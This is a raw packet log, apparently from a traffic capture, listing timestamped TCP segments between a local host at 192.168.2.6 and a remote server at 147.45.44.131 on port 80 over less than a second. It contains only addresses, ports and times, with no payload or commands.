Jan 1, 2025 08:53:02.713423967 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.713433981 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.713608980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713619947 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713630915 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713645935 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713659048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713660002 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.713686943 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.713826895 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713839054 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713849068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713860989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713871002 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713872910 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.713884115 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.713893890 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.713918924 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.714112043 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714123011 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714133978 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714143991 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714154959 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.714184046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714194059 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.714195967 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714207888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714220047 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714222908 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.714231968 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714242935 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714251041 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.714266062 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.714602947 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714613914 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714623928 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714633942 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714644909 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714648008 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.714658022 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714665890 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.714668989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714682102 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714693069 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714695930 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.714703083 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714715004 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.714715004 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.714745045 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.714770079 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.715013981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715025902 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715034962 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715044022 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715054035 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715065002 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715076923 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715086937 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715090990 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.715097904 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715109110 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715121031 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715121031 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.715132952 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715142012 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715142965 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.715163946 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.715186119 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.715532064 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715543032 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715553045 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715563059 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715572119 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.715604067 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.715766907 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715780020 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715795040 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715806007 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715811014 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.715816975 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715828896 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715838909 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715842009 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.715851068 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715862036 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715868950 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.715873003 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715883017 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.715884924 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715895891 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715907097 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715908051 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.715918064 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.715935946 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.715965986 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.716207981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.716218948 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.716228962 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.716238976 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.716249943 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.716252089 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.716260910 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.716283083 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.716306925 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.716422081 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.716433048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.716443062 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.716453075 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.716464043 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.716470003 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.716481924 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.716515064 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.797102928 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797132015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797143936 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797188997 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797221899 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.797277927 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797290087 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797301054 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797312021 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797324896 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797384977 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.797384977 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.797384977 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.797553062 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797564983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797574997 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797585964 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797596931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797602892 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.797615051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797627926 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.797629118 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.797888994 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797899961 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797909975 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797919989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797930002 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797939062 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.797940969 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797952890 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.797960043 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.797979116 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.797988892 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.798470974 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.798482895 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.798492908 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.798521042 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.798568010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.798578978 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.798588991 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.798602104 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.798614025 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.798635006 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.798767090 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.798804998 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.799616098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.799635887 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.799645901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.799680948 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.799720049 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.799731016 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.799762964 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.799804926 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.799815893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.799827099 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.799845934 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.799859047 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.799907923 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.799921989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.799968958 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.800045967 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800057888 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800067902 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800079107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800088882 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800098896 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.800107002 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800110102 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.800117970 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800159931 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.800266027 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800307989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800308943 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.800318956 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800362110 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.800420046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800430059 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800440073 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800451040 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800462008 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800468922 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.800482988 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.800708055 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800719976 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800729990 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800740004 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800750017 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800757885 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.800764084 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800784111 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800787926 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.800789118 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800801039 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800811052 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.800812006 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.800818920 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.800853014 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.801062107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801073074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801084995 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801098108 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801101923 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.801110983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801137924 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.801152945 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.801213980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801318884 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801331043 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801342010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801352024 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801356077 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.801362991 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801373959 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801383972 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.801398993 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.801600933 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801610947 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801623106 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801632881 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801640987 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.801644087 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801671982 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.801671982 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.801696062 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801711082 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801719904 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801731110 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801739931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801749945 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801760912 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801764965 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.801773071 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801784039 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.801784992 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801796913 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.801812887 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.801837921 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.802192926 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802205086 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802241087 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.802283049 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802293062 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802303076 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802314043 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802323103 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802331924 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802344084 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802346945 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.802355051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802366018 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802366972 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.802383900 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.802405119 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.802687883 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802700996 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802711010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802721024 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802731037 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802743912 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802747011 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.802755117 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802767038 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802778006 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802779913 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.802779913 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.802788973 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802798033 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.802799940 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802813053 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.802834988 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.802860022 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.803116083 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.803128004 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.803138971 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.803163052 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.803177118 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.803205967 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.803216934 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.803222895 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.803225994 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.803236008 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.803246975 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.803257942 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.803262949 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.803268909 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.803280115 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.803293943 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.803318024 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.851664066 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.883958101 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.883980036 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.883990049 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884026051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884118080 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884129047 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884140015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884174109 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.884174109 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.884203911 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.884289980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884300947 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884310007 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884320974 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884330034 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884337902 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.884340048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884351969 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884371042 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.884392023 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.884452105 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884466887 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884491920 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884504080 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884517908 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884527922 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.884552002 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.884742975 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884761095 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884773016 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884783030 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884788036 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.884793997 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.884812117 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.884834051 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.885349989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.885370016 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.885381937 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.885410070 CET	49700	80	192.168.2.6	147.45.44.131
